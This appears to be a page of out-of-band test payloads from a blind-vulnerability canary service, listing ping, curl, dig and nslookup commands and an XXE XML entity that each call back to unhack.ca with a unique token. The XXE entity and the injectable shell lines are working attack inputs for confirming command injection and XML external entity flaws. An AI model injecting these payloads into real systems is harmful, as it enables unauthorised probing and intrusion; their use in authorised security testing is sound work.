$ ping -c1 -p 00734740b48a4e7fd0b1a068ddc20300 unhack.ca
 

$ curl http://unhack.ca/p/734740b48a4e7fd0b1a068ddc203
 

$ dig 734740b48a4e7fd0b1a068ddc203 @unhack.ca
 

$ dig 734740b48a4e7fd0b1a068ddc203.ns.unhack.ca
 

C:\> nslookup 734740b48a4e7fd0b1a068ddc203 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/734740b48a4e7fd0b1a068ddc203">]>
    <foo>&xxe;</foo>